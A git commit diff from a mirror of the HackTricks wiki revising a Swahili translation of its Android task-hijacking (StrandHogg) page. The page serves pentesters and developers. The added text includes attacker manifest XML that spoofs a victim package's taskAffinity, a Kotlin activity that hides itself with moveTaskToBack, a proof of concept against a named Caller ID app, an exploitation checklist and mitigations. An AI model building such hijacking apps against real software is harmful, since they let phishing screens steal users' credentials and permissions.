mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/mobile-pentesting/android-app-pentesting/android-task-h
This commit is contained in:
Translator
parent
70fd4f40e2
commit
18ff842c98
@ -4,9 +4,9 @@
|
||||
|
||||
## Task, Back Stack and Foreground Activities
|
||||
|
||||
Katika Android, **task** kimsingi ni seti ya shughuli ambazo watumiaji wanashirikiana nazo ili kukamilisha kazi maalum, zimepangwa ndani ya **back stack**. Stack hii inaweka shughuli kwa msingi wa wakati zilipofunguliwa, huku shughuli ya hivi karibuni ikionyeshwa juu kama **foreground activity**. Katika wakati wowote, shughuli hii pekee ndiyo inaonekana kwenye skrini, na kuifanya kuwa sehemu ya **foreground task**.
|
||||
Katika Android, **task** kimsingi ni seti ya shughuli ambazo watumiaji huingiliana nazo ili kukamilisha kazi maalum, zimepangwa ndani ya **back stack**. Stack hii inaweka shughuli kulingana na wakati zilifunguliwa, huku shughuli ya hivi karibuni ikionekana juu kama **foreground activity**. Wakati wowote, shughuli hii pekee ndiyo inaonekana kwenye skrini, na kuifanya kuwa sehemu ya **foreground task**.
|
||||
|
||||
Hapa kuna muhtasari wa mabadiliko ya shughuli:
|
||||
Hapa kuna muhtasari wa harakati za shughuli:
|
||||
|
||||
- **Activity 1** inaanza kama shughuli pekee katika foreground.
|
||||
- Kuanzisha **Activity 2** kunasukuma **Activity 1** kwenye back stack, na kuleta **Activity 2** kwenye foreground.
|
||||
@ -15,39 +15,89 @@ Hapa kuna muhtasari wa mabadiliko ya shughuli:
|
||||
|
||||
.png>)
|
||||
|
||||
## Task affinity attack
|
||||
---
|
||||
|
||||
### Overview of Task Affinity and Launch Modes
|
||||
## Task affinity attacks
|
||||
|
||||
Katika programu za Android, **task affinity** inaelezea kazi inayopendelea shughuli, ikilingana kawaida na jina la pakiti ya programu. Mpangilio huu ni muhimu katika kuunda programu ya mfano (PoC) kwa ajili ya kuonyesha shambulio.
|
||||
`taskAffinity` inamwambia Android ni kazi ipi `Activity` itapendelea kuhusika nayo. Wakati shughuli mbili zinashiriki affinity sawa **Android inaruhusiwa kuziunganisha ndani ya back-stack moja hata kama zinatoka kwenye APK tofauti**.
|
||||
|
||||
### Launch Modes
|
||||
Ikiwa mshambuliaji anaweza kuweka shughuli mbaya kwenye **root** ya stack hiyo, kila wakati mwathirika anafungua programu halali, UI mbaya itakuwa kitu cha kwanza ambacho mtumiaji anaona – bora kwa udukuzi wa taarifa au maombi mabaya ya ruhusa.
|
||||
|
||||
Attribute ya `launchMode` inaelekeza usimamizi wa mifano ya shughuli ndani ya kazi. Modo ya **singleTask** ni muhimu kwa shambulio hili, ikielekeza hali tatu kulingana na mifano ya shughuli zilizopo na mechi za task affinity. Uhalifu unategemea uwezo wa programu ya mshambuliaji kuiga task affinity ya programu lengwa, ikipotosha mfumo wa Android kuanzisha programu ya mshambuliaji badala ya lengwa lililokusudiwa.
|
||||
Uso wa shambulio ni mpana zaidi kuliko wanavyofikiria waendelezaji wengi kwa sababu **kila shughuli moja inapata moja kwa moja affinity sawa na jina la kifurushi cha programu** (isipokuwa mendelezi kuweka `android:taskAffinity=""`). Hivyo basi *kufanya chochote* tayari kunafanya programu kuwa wazi kwa udukuzi wa kazi kwenye toleo la Android kabla ya 11.
|
||||
|
||||
### Detailed Attack Steps
|
||||
### Classic "singleTask / StrandHogg" scenario
|
||||
|
||||
1. **Malicious App Installation**: Mwathirika anaweka programu ya mshambuliaji kwenye kifaa chao.
|
||||
2. **Initial Activation**: Mwathirika kwanza anafungua programu ya uhalifu, akitayarisha kifaa kwa shambulio.
|
||||
3. **Target App Launch Attempt**: Mwathirika anajaribu kufungua programu lengwa.
|
||||
4. **Hijack Execution**: Wakati fulani programu inajaribu kufungua mtazamo wa **singleTask**. Kwa sababu ya mechi ya task affinity, programu ya uhalifu inazinduliwa badala ya programu lengwa.
|
||||
5. **Deception**: Programu ya uhalifu inaonyesha skrini ya kuingia bandia inayofanana na programu lengwa, ikimdanganya mtumiaji kuingiza taarifa nyeti.
|
||||
1. Mshambuliaji anatangaza shughuli yenye:
|
||||
```xml
|
||||
<activity android:name=".EvilActivity"
|
||||
android:exported="true"
|
||||
android:taskAffinity="com.victim.package"
|
||||
android:launchMode="singleTask" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
2. Programu mbaya inaanzishwa mara moja ili kazi (ikiwa na affinity iliyodanganywa) iwepo katika kazi za hivi karibuni.
|
||||
3. Wakati mtumiaji baadaye anafungua programu halisi, Android inagundua tayari kuna kazi ambayo **root affinity inalingana na kifurushi** na inarudisha kazi hiyo kwenye foreground.
|
||||
4. UI ya mshambuliaji inaonyeshwa kwanza.
|
||||
|
||||
> [!TIP]
|
||||
> Kumbuka kwamba ili shambulio hili lifanye kazi mtazamo dhaifu **hauhitaji kuwa na exported to true** wala hauhitaji kuwa shughuli Kuu.
|
||||
### Default–Affinity (no `singleTask`) variant – Caller ID case study
|
||||
|
||||
Kwa utekelezaji wa vitendo wa shambulio hili, rejelea hifadhi ya Task Hijacking Strandhogg kwenye GitHub: [Task Hijacking Strandhogg](https://github.com/az0mb13/Task_Hijacking_Strandhogg).
|
||||
Uthibitisho wa udhaifu ulioarifiwa katika programu ya **Caller ID (caller.id.phone.number.block)** unaonyesha kwamba shambulio *pia* linafanya kazi dhidi ya hali ya uzinduzi ya `standard` ya default:
|
||||
|
||||
### Prevention Measures
|
||||
1. Programu ya mshambuliaji inaunda shughuli ya mizizi ya uwongo na mara moja inajificha:
|
||||
```kotlin
|
||||
class HackActivity : AppCompatActivity() {
|
||||
override fun onCreate(savedInstanceState: Bundle?) {
|
||||
super.onCreate(savedInstanceState)
|
||||
moveTaskToBack(true) // keep the task in recents but out of sight
|
||||
}
|
||||
}
|
||||
```
|
||||
2. Manifest inahitaji tu kunakili kifurushi cha mwathirika ndani ya `taskAffinity`:
|
||||
```xml
|
||||
<activity android:name=".HackActivity"
|
||||
android:exported="true"
|
||||
android:taskAffinity="com.caller.id.phone.number.block" >
|
||||
<intent-filter>
|
||||
<action android:name="android.intent.action.MAIN"/>
|
||||
<category android:name="android.intent.category.LAUNCHER"/>
|
||||
</intent-filter>
|
||||
</activity>
|
||||
```
|
||||
3. Mara tu mtumiaji anapoweka na kufungua programu mbaya **mara moja**, kazi ambayo affinity yake inalingana na kifurushi cha mwathirika inakuwepo (lakini iko nyuma).
|
||||
4. Wakati programu halisi ya Caller ID inazinduliwa, Android inatumia tena kazi hiyo na kuleta `HackActivity` kwenye foreground → dirisha la udukuzi/unyanyasaji wa ruhusa.
|
||||
|
||||
Ili kuzuia mashambulizi kama haya, waendelezaji wanaweza:
|
||||
- Kuweka **`**taskAffinity`** ya mtazamo wa **singleTask** kuwa string tupu (`android:taskAffinity=""`)
|
||||
- Kuchagua modo ya **`singleInstance`**, kuhakikisha kutengwa kwa programu yao kutoka kwa nyingine.
|
||||
- Kubinafsisha kazi ya **`onBackPressed()`** inatoa ulinzi wa ziada dhidi ya hijacking ya kazi.
|
||||
> NOTE: Kuanzia na **Android 11 (API 30)** mfumo hauweki vifurushi viwili ambavyo si sehemu ya UID moja kwenye kazi moja kwa default, ikipunguza toleo hili maalum. Toleo za zamani bado zina udhaifu.
|
||||
|
||||
## **References**
|
||||
---
|
||||
|
||||
- [**https://blog.dixitaditya.com/android-task-hijacking/**](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
- [**https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html**](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
## Detection & Exploitation checklist
|
||||
|
||||
1. Pull `AndroidManifest.xml` kutoka kwa APK lengwa na uhakikishe kwamba kila `<activity>` (au kipengele cha jumla `<application>`) kina `android:taskAffinity=""` (bila maudhui) **au** thamani iliyobinafsishwa.
|
||||
2. Ikiwa sivyo, tengeneza programu mbaya:
|
||||
- `android:taskAffinity` = jina la kifurushi cha mwathirika.
|
||||
- Toa nia ya `MAIN/LAUNCHER` ili mtumiaji aweze kuifungua mara moja.
|
||||
- Kwa hiari piga `moveTaskToBack(true)` ili kujificha mara moja.
|
||||
3. Acha mwathirika afungue programu yao halali → hijack.
|
||||
|
||||
## Mitigation
|
||||
|
||||
Waendelezaji wanapaswa:
|
||||
|
||||
* Kuweka wazi `android:taskAffinity=""` kwenye kiwango cha `<application>` (inapendekezwa) **au** kutoa kila shughuli affinity ya kipekee, ya kibinafsi.
|
||||
* Kwa skrini zenye nyeti sana, changanya hapo juu na `android:launchMode="singleInstance"` au ulinzi wa kisasa [`setLaunchMode`](https://developer.android.com/reference/android/content/pm/ActivityInfo#launchMode).
|
||||
* Pandisha toleo la `targetSdkVersion` la programu na kutekeleza mabadiliko ya tabia ya **Android 11** ambapo kazi hazishirikiwa kati ya vifurushi kwa default.
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- [https://blog.dixitaditya.com/android-task-hijacking/](https://blog.dixitaditya.com/android-task-hijacking/)
|
||||
- [https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html](https://blog.takemyhand.xyz/2021/02/android-task-hijacking-with.html)
|
||||
- [Android Manifest Misconfiguration Leading to Task Hijacking in Caller ID app](https://github.com/KMov-g/androidapps/blob/main/caller.id.phone.number.block.md)
|
||||
- [https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06](https://medium.com/mobile-app-development-publication/the-risk-of-android-strandhogg-security-issue-and-how-it-can-be-mitigated-80d2ddb4af06)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user